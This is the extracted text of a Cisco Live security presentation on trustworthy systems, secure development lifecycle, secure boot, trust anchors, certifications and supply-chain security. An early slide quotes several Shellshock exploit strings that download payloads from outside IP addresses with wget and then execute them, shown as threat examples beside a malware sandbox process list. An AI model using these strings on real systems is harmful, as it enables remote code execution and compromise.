



BRKSEC-1601

Matt Carling, Solutions Architect Security and Trust Organisation

Cisco live!

Trust





BRKSEC-1601

O Name	e: 0679190121.exe	1	
PID: 1236	Children: 1File Actions: 3	Registry Actions: 10	Analysis Reason: Is target sample.
O Name	: DW20.EXE		Parent: 123
PID : 880	Children: 0File Actions: 3	Registry Actions: 18	Analysis Reason: Parent is being analyzed
O Name	e: winlogon.exe		
PID: 428	Children: 0File Actions: 3	Registry Actions: 0	Analysis Reason: Process activity after target sample started.
O Name	e: services.exe		
PID: 472	Children: 0File Actions: 3	Registry Actions: 0	Analysis Reason: Process activity after target sample started.
O Name	e: unknown		
PID: 484	Children: 0File Actions: 3	Registry Actions: 0	Analysis Reason: Process activity after target sample started.
O Name	e: svchost.exe		
PID: 744	Children: 0File Actions: 3	Registry Actions: 0	Analysis Reason: Process activity after target sample started.
O Name	: Explorer.EXE		
PID: 1148	Children: 0File Actions: 3	Registry Actions: 2	Analysis Reason: Process activity after target sample started.









- () { :; }; /bin/ping -c 3 109.235.51.42
- () { :; }; /usr/bin/env wget hxxp://173.193.139.2/host
- () $\{:;\}$; wget 37.187.225.119/a; wget 37.187.225.119/action.php > /var/www/
- () { :;}; wget -O /tmp/syslogd hxxp://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;

Shellshock



Agenda

- The Challenge
- Trustworthy Technologies
- Trustworthy Standards and Certification
- Secure Supply Chain
- Secure Implementation and Operation
- Summary







The Challenge



The Changing Role of IT



Model for Next Generation Trustworthy IT

New Business Models Partner Ecosystem Applications **Application Interfaces Platform** Infrastructure Interfaces Infrastructure

Trustworthy Foundations

Enterprise Security Visibility and Control


Secure
Communications
Simplification and
Reuse

Foundational Security
Elements
(Technology,
Processes, & Policies)




Services

Trustworthiness Foundational to Infrastructure Protection from Attacks



Trustworthiness Must be Maintained Across the Attack Continuum






Securing Environments with Trustworthy

Foundations

 Security Designed and Built-In From the Start provides a strong foundation for Fast IT

 Trustworthy Systems: Smart, Simple, Secure Protection



BRKSFC-1601

Company Culture

- Protect our global reputation as a trustworthy vendor
 - Active measures to safeguard the security and reliability of what we sell and operate.
 - Long history of openness and transparency with our customers
 - Equal and simultaneous access to security vulnerability information globally.
- The development of our technology is driven by
 - Our customers' requirements from around the world,
 - Open, global standards, and
 - Practices specifically prohibiting backdoors or anything else that deliberately "weakens" our products
- Our products are constantly security tested by
 - Us,
 - Third party certification and evaluation labs,
 - · Independent security researchers, and
 - Our customers.



PSIRT

Open Access to security vulnerability information globally



Trustworthy System Foundations

Processes Technology **Policies**

Enterprise Security Visibility and Control

Secure Communications Simplification and Reuse

Foundational Security Elements

Enterprise Encryption Platform and Infrastructure Attestation

Runtime Integrity

Trustworthy Cloud

Secure by Default

Unified

Platform

Simplified Secure Transport

One Connector

Common Security Modules

Trust Anchor Services

Secure Development Lifecycle



Secure Boot Trust Anchor



Certifications

& Standards

Trustworthy Systems Architecture (**update slide)


Foundation of Trust Process Technology Policy Secure Standards **Secure Process Product Security Technology** Lifecycle / Security Baseline Common Modules & Features Information Assurance (IA) Shipping **Futures** Common Criteria **Trust Anchor NG & Common Crypto** Perform GAP Secure Boot **Secure Storage** ISO 27034 Register and Update Image Signing **Run Time Integrity** 3rd Party and Resilience Software **Certificate Transport Entropy** FIPS / USGv6 Immutable Identity (EST) Identify and Detect Address Security Security Defects **Threats Secure Simplified** Trustworthy IoT DoD IA **Transport Real Time Trustworthy Cloud** Integrity **TCG** COMPUTING GROUP



Cisco Secure Development Lifecycle (CSDL)

CSDL is the approach to use for ensuring product security:


- Incorporate security requirements in Product Security Baseline, Identify security threats and mitigations during design phase with Threat Modelling
- Prevent security defects using Safe Libraries and Static Analysis tools with appropriate security rules
- Defend against exploits using Runtime Defence techniques, while Validating system through Security Testing
- Conforms with the guidelines of ISO 27034



CSDL Ensures consistent product security through proven techniques and technologies, reducing the number and severity of vulnerabilities in software


Product Security Requirements

- Security Baseline Requirements
 - Insures consistency when implementing industry recognised standard practices
 - Incorporates requirements into product Functional Spec(s) and Test Plan(s)
 - Aligns with Public sector compliance (FIPS, DoD IA, Common Criteria)
- Product Security Baseline (PSB)
 Gap Analysis
 - Beginning of product lifecycle to drive additional requirements
 - Prior to customer release as part of verification



3rd Party Software – Fundamentals

- Ensure your product as a whole is secure
- Minimise exposure by considering hidden costs in your decision process
 - Perform gap analysis
 - Establish maintenance plan
 - Verify no backdoors
 - Address all known vulnerabilities before FCS
- Manages 3rd party security alerts
 - Register components with in a centralised database
 - Contract support for critical security fixes
- Planned response to security issues
 - Follow established maintenance plan





Secure Design – Threat Modelling

- Methodology to identify & assess risk, and mitigate security problems in feature development
 - Leads development engineers to consider how a feature can be attacked and how best to mitigate the attack
 - Not a one-time event, it's a way of thinking about security for every feature

Diagram

- Draw system architecture
- Add trust boundaries and detail

Find threats

- Find threats with a method like STRIDE/element
- Iterate over diagram

Mitigate Threats

- Redesign, utilise standard mitigations
- Custom mitigations when unavoidable

Validate

- Validate diagrams match code
- Test effectiveness of the mitigations





Image Signing

Tamper protection for Cisco software

- Digital signature creation and verification using asymmetric key pairs
- Rommon
- Boot loader
- Image Base
- Packages





Run Time Integrity

- Common Code Across Product Line
 - Object Size Checking
 - Address Space Layout Randomisation
 - X-Space
- Use "safe" libraries
- Perform complete input validation
- Best Practices Guidelines for each OS





Static Analysis


- Established as part of the development process
- Security Checkers are very effective at finding key vulnerability types, such as certain buffer overflows
 - Run SA with Security Checkers enabled
- Ongoing work to improve performance (find more actual and important bugs, fewer false positives)
- C/C++ switch from Klocwork to Coverity driven by significant performance improvement





Vulnerability Testing

- Check Protocol Robustness for implementation of RFC, input validation and packet fuzzing
- Duplicate Hacker Attacks using open source tools to penetrate, scan and attack










Secure Boot

How do I protect against Software tampering?

- Ensures only authentic Cisco software boots up on a Cisco Platform
- Anchored in hardware, as the image is created, the signature is installed & signed with a secure private key
- As the software boots, the system checks to ensure the installed digital certificate is valid
- Subsequent hash checks provides continuous monitoring with runtime integrity



Secure Boot: Ensures that only authentic Cisco software is being used while verifying the software has not been altered or tampered since it was signed.

Trust Anchor Module (TAM)

How do I know the hardware is authentic?

TAM

- Provides Immutable Identity
- Standard Identity- IEEE 802.1AR (SUDI- X.509 cert)
- Secure Storage of Credentials
- Anti-Theft & Anti-Tamper Chip Design
- Certifiable Entropy for Random Number Generation

Trust Anchor Module (TAM)

TAM/Secure Identity **Product Security** Verification Checks to Verify Authenticity Immutable & Licence Identity Secure Check Storage (Keys Verify & Objects) Secure Certifiable Identity **Entropy Source** Secure Crypto Assist Secure **Application** Certificates

TAM: Provides trustworthy Cisco products, offering immutable identity, secure storage, random number generator, and encryption

Immutable Identity

How can I identify a device as authentic?

- Secure Unique Device Identifier (SUDI) Currently deployed in TAM for immutable device identity and in IOS software
- Leverage the Cisco root credential to authenticate Cisco services
- Connections with the device can be authenticated by the SUDI credential
- Binds the hardware identity to a key pair in a cryptographically secure X.509 certificate (PID, SN) during manufacturing



Immutable Identity: Establishes a solution for device identity in both secure & non-secure storage, supporting authentication of the device's identity to the network

Secure Simplified Communications

Cryptographic Technologies

- New/upgraded algorithms (AES 128 and 256 bits data encryption), key sizes (128 and 192 bits), protocols and entropy
- Compatible with existing security architectures



Secure and Efficient

- Algorithm efficiency enabling increased security
- Scales well to high/low throughput
- Secure and Dynamic Key Enrollment with EST (RFC7030)

Compatible with Government Standards

- Suite B (US)
- FIPS-140 (US/Canada)
- NATO
- Germany, UK, AU
- HIPPA, PCI



Key Establishment Digital Signatures



Hashing







Certificate Transport

How do I deploy certificates in NGE networks?

Enrollment over Secure Transport (EST)

- Enables automatic certificate enrollment for devices in a network
- Supports enrollment of ECC-signed certificates
- Issues certificates over secure transport (TLS)



Ease of Deployment



Supports Todays & Next Generation Encryption




Enhances Security At Transport Layer

EST: EST provides simple, scalable, and secure certificate enrollment.



Trustworthy Technology Vision

Protecting Cisco
Customers Through
Advanced Trustworthy
Technologies





ISO 27034 and CSDL

How does CSDL stack up on emerging Secure Development Standards

ISO 27034

- ISO 27034 is the standard for "Information Technology Security Techniques Application Security"
- Addresses Security Lifecycle for development and deployment
- Aligns with existing international, national, and industry standards
- Section 1 is adopted, sections 2-6 (implementation details) still in draft

CSDL conforms with the guidelines of ISO 27034

- Following CSDL is part of Cisco's ISO compliance
- In 2013, Cisco used ISO/IEC 27034-1, as a baseline to evaluate CSDL.





Trusted Computing Group

How do I know my network gear can be trusted?

There is security and there is trust.

Trust is based on evidence that the device will behave the way you expect it to

Cisco supply chain security and certification strategy delivers products that will do what our customers expect them to do

TCG standards are focused on assuring that products continue to operate in a trusted way in deployment





International Certifications


- Cisco: World leader in certification with more than 200 product families certified
- Usually required by governments and increasingly by business
- Certifications include:
 - Common Criteria for security and securityenabled products
 - Australian Signal's Directorate EPL
 - Federal Information Process Standard (FIPS): Cryptographic validation








Where Does "Securing the Network" Start?





Where Does "Securing the Network" Start?



The Steps to Supply Chain Security

Product Lifecycle



Touch every stage of the product lifecycle, from design through end of life Multifaceted Security



At every stage, apply some combination of security technology, physical security, and logical (rulesbased) security

Design



Work with R&D to design security into products from inception

ayered Approach

Use a layered approach to strengthen anticounterfeiting, traceability, and anti-tampering

ndustry Leadership

Work to develop stronger standards, policies, and tools across the industry



Supply Chain Security: Active Safeguard Measures








Apply Security Tools, Technologies, and Processes in Combination

TECHNOLOGY

Eg: ACT smart chip, data extracting test beds, tamper resistant labels



PHYSICAL

Eg: Traceability, real-time transport tracking, segregating high-value material



LOGICAL

Eg: Material reconciliation, encrypted communications, data destruction processes







With the development supply chain model, engineers and security experts are tightly integrated with R&D

Examples of security technologies sourced or developed in collaboration with R&D include:

- The ACT smart chip
- Trust Anchor technology







Use a Layered, Integrated Approach



Cisco Auto Test

Data collected during PCBA quality testing includes:

- Country-of-Origin
- · Date of manufacture
- Lot Code

- Manufacturer's part number
- Ship Readiness



Data enables forensic analysis, failure investigations, and traceability through EOL

Smart Chip Designs



PCB Label



Product Label



Carton Label













Contribute to Industry-wide Enhancement

- A truly layered approach requires addressing supply chain security at the industry level
- Cisco is committed to the development of stronger policies and standards for supply chain security that will benefit all vendors, suppliers, and, of course, customers





Work with Governments to Combat Crime and Terrorism




 U.S. and international certifications obtained by Cisco and our supply chain partners reflect our commitment to protect against terrorism, smuggling, and other criminal activities







The Attack Continuum



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Discover

Admission Control

- Posture
- **Dynamic policy**
- AAA
- **NEAT**
- **VPN**

Enforce

- Segmentation
- FW
- NGFW
- Inspection points

Harden

- **Control Plane**
- Management Plane
- Data Plane
- Trusted platforms
- OS management
- **Configuration Control**
- **Documentation**

Policy, Education and Awareness, Audits, Practice





Detect

Security Appliances
IDS, Web, Email

Infrastructure
Logs, Health, Flow

Feeds and Intelligence

Endpoints

Logs

Behavioural

Block

IPS

ACL

Route

Defend

Context

Packet Capture

Log

Analyse



AFTER Scope Contain Remediate

Scope

- logs / alerts
- Inspect packet capture
- Co-ordinate response

Contain

- Contain dynamically segment / isolate
 - ACLs
 - **SGTs**
 - Routing
- New signature / blocks

Remediate

- Log / evidence
- Replay
- Update policy
- Educate
- Patch
- Share



Cyber Security Capability View – 6 Domains

- Inspection
- Telemetry
- Logging
- Discovery

- Control / enforcement
- Hardened IT
- **Trusted Systems**
- Segmentation

- Reputation
- Signatures / IOC
- Awareness
- Information Sharing

Threat Visibility




Threat Defence



Threat Intelligence










Branch











Campus



Gateway



Security Management

- Policy and identity
- Configuration Management
- Patch Management
- Management Tools

Security Operations

- Monitoring
- Incident Response
- Reporting
- Communication

Security Governance

- Policy
- Risk Analysis
- Assessment and audit
- Education



Guidance

Some examples

- Platform Guidance Cisco Guide to Harden Cisco IOS Devices
 - http://www.cisco.com/c/en/us/support/docs/ip/access-lists/13608-21.html
- Design Guidance Cisco Validated Designs
 - http://www.cisco.com/go/designzone
 - http://www.cisco.com/c/en/us/solutions/enterprise/design-zone-security/index.html
- Operations and Tools Guidance
 - Cisco IOS Software Checker
 - http://tools.cisco.com/security/center/selectIOSVersion.x
 - SP Security Best Practices
 - http://tools.cisco.com/security/center/serviceProviders.x?i=76
- Culture
 - http://www.cisco.com/web/about/security/cspo/awareness/index.html





ISR - Trustworthy Systems

2015

2010

2005

2000



ISR G1

Anti-Counterfeiting (ACT) Common Criteria, FIPs

3900 Series



1900 Series

ISR G2

Anti-Counterfeiting (ACT) 39[24]5 PPC (XSPACE, ASLR)

- MIPs based G2 Partial ASLR
- 39[24]5e Intel (XSPACE) Image Signing Common Criteria, FIPs



ISR 4400

CSDL TAm (ACT2) SUDI, Secure Storage, Entropy Secure Boot, Image Signing, XSPACE. ASLR enabled IOSd Cisco SSL Common Criteria, FIPs



Cisco 1800

Cisco Integrated Services Router

ISR-4451

- Need: Secure networking capability requiring data confidentiality & data integrity based on a combination of Next Generation Cryptography & foundation of Trusted Product Technologies
- Challenges:
 - Networks: complex security issues as moving to an "Any Device Design"
 - Security and plan for inevitable breaches
 - Customer assurance of product integrity
- Cisco: Relied on Trustworthy baselines to create routers that meet new needs
 - Cisco Security Development Lifecycle 4.0
 - Trust Anchor Technology (TAM, Secure Boot, SUDI)
 - Next Generation Suite B Encryption
 - Targeting FIPS 140-2, CC and UCAPL









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